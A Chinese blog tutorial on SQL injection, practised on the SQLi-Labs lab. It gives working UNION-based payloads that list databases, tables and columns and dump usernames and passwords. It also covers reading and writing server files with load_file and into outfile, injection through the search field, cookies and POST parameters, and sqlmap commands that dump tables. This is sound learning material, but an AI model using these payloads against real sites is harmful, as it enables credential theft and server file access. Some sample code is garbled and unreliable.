网络安全—Sql注入

225 阅读3分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

什么是SQL注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

了解系统库——information_schema

这是一个信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。例如数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。对于web渗透有很大的作用。其中最重要的有三张表

SCHEMATA

提供当前MySQL实例中所有数据库信息,show databases的结果取之此表

TABLES

提供数据库中表的信息。table_name

COLUMNS

提供了表的列信息,详细描述了某张表所有的列以及每一列的信息。column_name

get提交

是依靠url的。post提交是比get提交好的,post比get更具保密性。get比post快。

手工注入

这边用到的靶场是SQLi-Labs

手工注入的步骤

1.判断有没有注入点
    随便输入内容,如果有报错,那么就是有注入点
2.猜列名数量 
    order by X   X是1,2,3,4,5.... 知道有报错,那么就知道有多少个字段了,导致报错的数字-1就是字段数
3.报错盘,判断回显点 
    union  先让union前面的SQL语句报错,然后在union后面加一条语句
    index.php?id=-1 union select 1,2,3
4.信息收集
    数据库版本号: version()  把这个写到之前收集到的回显点的地方。
    index.php?id=-1 union select 1,version(),3
    了解数据库的版本主要是知道它是高版本还是低版本。区分是5.0
    只有高版本有系统库。
    库的名字:database()   也是写到回显的字段那。
    index.php?id=-1 union select 1,version(),database()
5.使用对应的SQL进行注入
    1.利用information_schema.tables   查找表名
    id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
    2.知道表之后开始要知道字段 利用 information_schema.columns
    id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
    3.知道字段之后,看看有没有我们需要的数据
    id=-1 union select 1,2,(select group_concat(username,0x7e,password)from users)
    

高权限注入

如果对于数据库,你是root用户的话,那你可以随意的进入任意的数据库,做到跨库注入。那我们如何知道自己是什么用户呢?

id=-1 union select 1,user(),3    可以利用这个语句查到。
id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
利用上面这一步可以看到有哪些数据库
之后就可以根据上面的第5步来查询其他的库。

文件读写

同样这个也是要高权限才可以实现。我们利用的是高版本数据库新添加的特性,secure_file_priv。

1.读
id=-1 union select 1,load_file('d:/aaaa.txt'),3 
2.写
id=-1 union select 1,'cv',3 into outfile 'd:/aaaa.txt' --+

数据类型

数字型 注入点

$id = $_GET(id)
$sql = "lect * from users where id= $id limit 0,1"

字符型 注入点

$sql = "lect * from users where id='1 and 1 = 2' limit 0,1"

搜索型 注入点

利用模糊查询
select * from user where like '%%'
这个时候传入  y%' or 1=1#
就会植入。

数据提交方式

get方式注入

我上面的都是get提交,是通过url来进行数据的传输的。
场景:数据不敏感
    安全性不高,传递速度快,数据长度有限
    $c = $_GET['s'];

post提交

    场景:登录框
        长度不限,安全性高,传递速度慢
    $c = $_POST['s'];

Cookie提交

    可以绕过一些常规防御语句
    $c = $_COOKIE['s'];

Request提交

    可以接受get和post提交的东西
    $c = $_REQUEST['s'];
    

工具介绍

sqlmap

这个是可以去官网上面下载的,在之前先要下载python
下载好之后进入cmd 运行 sqlmap.py
就可以了

sqlmap使用(get注入)

sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/index.php?id=1"
sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/index.php?id=1" --dbs 这个可以看数据库
sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/index.php?id=1" -D "challenges" --tables  可以看出challenges里面有什么表
sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/index.php?id=1" -D "challenges" -T "pr310iv2j9" --columns    可以看表里面的字段。
sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/index.php?id=1" -D "challenges" -T "pr310iv2j9" -C "name,pass" --dump  可以看字段里面的元素。

sqlmap使用(post注入)

sqlmap.py -u "http://localhost/sqli-labs-master/Less-11/" --forms  
sqlmap.py -u "http://localhost/sqli-labs-master/Less-11/" --forms --dbs